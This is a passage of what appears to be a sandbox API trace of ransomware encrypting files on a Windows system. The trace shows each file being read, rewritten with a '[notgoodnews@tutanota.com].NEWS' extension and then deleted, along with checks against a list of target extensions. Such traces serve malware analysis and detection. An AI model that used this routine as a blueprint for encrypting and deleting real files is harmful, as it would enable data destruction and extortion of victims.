Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 0x220 [0167.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0167.126] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.126] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0167.127] GetLastError () returned 0x0 [0167.127] ReadFile (in: hFile=0x454, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x2942, lpOverlapped=0x0) returned 1 [0167.129] WriteFile (in: hFile=0x478, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x2950, lpOverlapped=0x0) returned 1 [0167.130] ReadFile (in: hFile=0x454, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.130] WriteFile (in: hFile=0x478, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0167.130] SetEndOfFile (hFile=0x478) returned 1 [0167.130] CloseHandle (hObject=0x478) returned 1 [0167.131] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.131] SetEndOfFile (hFile=0x454) returned 1 [0167.133] CloseHandle (hObject=0x454) returned 1 [0167.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0167.134] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 1 [0167.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0167.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0167.134] lstrlenW (lpString=".doc") returned 4 [0167.134] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0167.135] lstrlenW (lpString=".docx") returned 5 [0167.135] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0167.135] lstrlenW (lpString=".pdf") returned 4 [0167.135] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0167.135] lstrlenW (lpString=".xls") returned 4 [0167.135] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0167.135] lstrlenW (lpString=".xlsx") returned 5 [0167.135] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0167.135] lstrlenW (lpString=".ppt") returned 4 [0167.135] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0167.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0167.135] lstrlenW (lpString=".zip") returned 4 [0167.135] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0167.135] lstrlenW (lpString=".rar") returned 4 [0167.135] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0167.135] lstrlenW (lpString=".bz2") returned 4 [0167.135] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0167.135] lstrlenW (lpString=".7z") returned 3 [0167.135] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0167.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0167.135] lstrlenW (lpString=".dbf") returned 4 [0167.135] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0167.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0167.135] lstrlenW (lpString=".1cd") returned 4 [0167.135] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0167.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0167.135] lstrlenW (lpString=".jpg") returned 4 [0167.135] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0167.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0167.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0167.135] lstrlenW (lpString=".doc") returned 4 [0167.135] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0167.135] lstrlenW (lpString=".docx") returned 5 [0167.136] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0167.136] lstrlenW (lpString=".pdf") returned 4 [0167.136] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0167.136] lstrlenW (lpString=".xls") returned 4 [0167.136] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0167.136] lstrlenW (lpString=".xlsx") returned 5 [0167.136] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0167.136] lstrlenW (lpString=".ppt") returned 4 [0167.136] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0167.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0167.136] lstrlenW (lpString=".zip") returned 4 [0167.136] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0167.136] lstrlenW (lpString=".rar") returned 4 [0167.136] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0167.136] lstrlenW (lpString=".bz2") returned 4 [0167.136] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0167.136] lstrlenW (lpString=".7z") returned 3 [0167.136] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0167.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0167.136] lstrlenW (lpString=".dbf") returned 4 [0167.136] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0167.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0167.136] lstrlenW (lpString=".1cd") returned 4 [0167.136] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0167.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0167.136] lstrlenW (lpString=".jpg") returned 4 [0167.136] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0167.136] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0167.136] lstrlenW (lpString="FALL_01.MID") returned 11 [0167.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0167.137] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=4846) returned 1 [0167.137] CloseHandle (hObject=0x454) returned 1 [0167.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 0x220 [0167.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0167.138] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.138] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0167.139] GetLastError () returned 0x0 [0167.139] ReadFile (in: hFile=0x454, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x12ee, lpOverlapped=0x0) returned 1 [0167.141] WriteFile (in: hFile=0x478, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x12f0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x12f0, lpOverlapped=0x0) returned 1 [0167.142] ReadFile (in: hFile=0x454, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.142] WriteFile (in: hFile=0x478, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xea, lpOverlapped=0x0) returned 1 [0167.143] SetEndOfFile (hFile=0x478) returned 1 [0167.143] CloseHandle (hObject=0x478) returned 1 [0167.143] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.143] SetEndOfFile (hFile=0x454) returned 1 [0167.147] CloseHandle (hObject=0x454) returned 1 [0167.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0167.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 1 [0167.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0167.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0167.148] lstrlenW (lpString=".doc") returned 4 [0167.148] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0167.148] lstrlenW (lpString=".docx") returned 5 [0167.148] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0167.148] lstrlenW (lpString=".pdf") returned 4 [0167.148] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0167.148] lstrlenW (lpString=".xls") returned 4 [0167.148] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0167.148] lstrlenW (lpString=".xlsx") returned 5 [0167.149] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0167.149] lstrlenW (lpString=".ppt") returned 4 [0167.149] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0167.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0167.149] lstrlenW (lpString=".zip") returned 4 [0167.149] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0167.149] lstrlenW (lpString=".rar") returned 4 [0167.149] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0167.149] lstrlenW (lpString=".bz2") returned 4 [0167.149] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0167.149] lstrlenW (lpString=".7z") returned 3 [0167.149] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0167.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0167.149] lstrlenW (lpString=".dbf") returned 4 [0167.149] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0167.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0167.149] lstrlenW (lpString=".1cd") returned 4 [0167.149] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0167.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0167.149] lstrlenW (lpString=".jpg") returned 4 [0167.149] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0167.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0167.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0167.149] lstrlenW (lpString=".doc") returned 4 [0167.149] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0167.149] lstrlenW (lpString=".docx") returned 5 [0167.149] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0167.149] lstrlenW (lpString=".pdf") returned 4 [0167.149] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0167.149] lstrlenW (lpString=".xls") returned 4 [0167.149] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0167.149] lstrlenW (lpString=".xlsx") returned 5 [0167.149] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0167.149] lstrlenW (lpString=".ppt") returned 4 [0167.149] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0167.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0167.150] lstrlenW (lpString=".zip") returned 4 [0167.150] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0167.150] lstrlenW (lpString=".rar") returned 4 [0167.150] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0167.150] lstrlenW (lpString=".bz2") returned 4 [0167.150] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0167.150] lstrlenW (lpString=".7z") returned 3 [0167.150] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0167.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0167.150] lstrlenW (lpString=".dbf") returned 4 [0167.150] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0167.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0167.150] lstrlenW (lpString=".1cd") returned 4 [0167.150] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0167.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0167.150] lstrlenW (lpString=".jpg") returned 4 [0167.150] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0167.150] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0167.150] lstrlenW (lpString="FINCL_01.MID") returned 12 [0167.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0167.152] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=12981) returned 1 [0167.152] CloseHandle (hObject=0x454) returned 1 [0167.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid")) returned 0x220 [0167.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0167.152] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.153] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0167.153] GetLastError () returned 0x0 [0167.153] ReadFile (in: hFile=0x454, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x32b5, lpOverlapped=0x0) returned 1 [0167.359] WriteFile (in: hFile=0x478, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x32c0, lpOverlapped=0x0) returned 1 [0167.361] ReadFile (in: hFile=0x454, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.361] WriteFile (in: hFile=0x478, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0167.361] SetEndOfFile (hFile=0x478) returned 1 [0167.361] CloseHandle (hObject=0x478) returned 1 [0167.362] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.362] SetEndOfFile (hFile=0x454) returned 1 [0167.462] CloseHandle (hObject=0x454) returned 1 [0167.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0167.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid")) returned 1 [0167.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0167.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0167.743] lstrlenW (lpString=".doc") returned 4 [0167.743] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0167.743] lstrlenW (lpString=".docx") returned 5 [0167.743] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0167.743] lstrlenW (lpString=".pdf") returned 4 [0167.743] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0167.743] lstrlenW (lpString=".xls") returned 4 [0167.744] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0167.744] lstrlenW (lpString=".xlsx") returned 5 [0167.744] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0167.744] lstrlenW (lpString=".ppt") returned 4 [0167.744] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0167.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0167.744] lstrlenW (lpString=".zip") returned 4 [0167.744] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0167.744] lstrlenW (lpString=".rar") returned 4 [0167.744] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0167.744] lstrlenW (lpString=".bz2") returned 4 [0167.744] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0167.744] lstrlenW (lpString=".7z") returned 3 [0167.744] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0167.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0167.744] lstrlenW (lpString=".dbf") returned 4 [0167.744] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0167.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0167.744] lstrlenW (lpString=".1cd") returned 4 [0167.744] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0167.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0167.744] lstrlenW (lpString=".jpg") returned 4 [0167.744] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0167.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0167.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0167.744] lstrlenW (lpString=".doc") returned 4 [0167.745] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0167.745] lstrlenW (lpString=".docx") returned 5 [0167.745] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0167.745] lstrlenW (lpString=".pdf") returned 4 [0167.745] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0167.745] lstrlenW (lpString=".xls") returned 4 [0167.745] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0167.745] lstrlenW (lpString=".xlsx") returned 5 [0167.745] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0167.745] lstrlenW (lpString=".ppt") returned 4 [0167.745] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0167.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0167.745] lstrlenW (lpString=".zip") returned 4 [0167.745] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0167.745] lstrlenW (lpString=".rar") returned 4 [0167.745] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0167.745] lstrlenW (lpString=".bz2") returned 4 [0167.745] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0167.745] lstrlenW (lpString=".7z") returned 3 [0167.745] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0167.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0167.745] lstrlenW (lpString=".dbf") returned 4 [0167.745] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0167.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0167.745] lstrlenW (lpString=".1cd") returned 4 [0167.745] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0167.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0167.745] lstrlenW (lpString=".jpg") returned 4 [0167.745] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0167.746] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0167.746] lstrlenW (lpString="JAVA_01.MID") returned 11 [0167.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0167.748] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=9797) returned 1 [0167.748] CloseHandle (hObject=0x4dc) returned 1 [0167.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid")) returned 0x220 [0167.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft 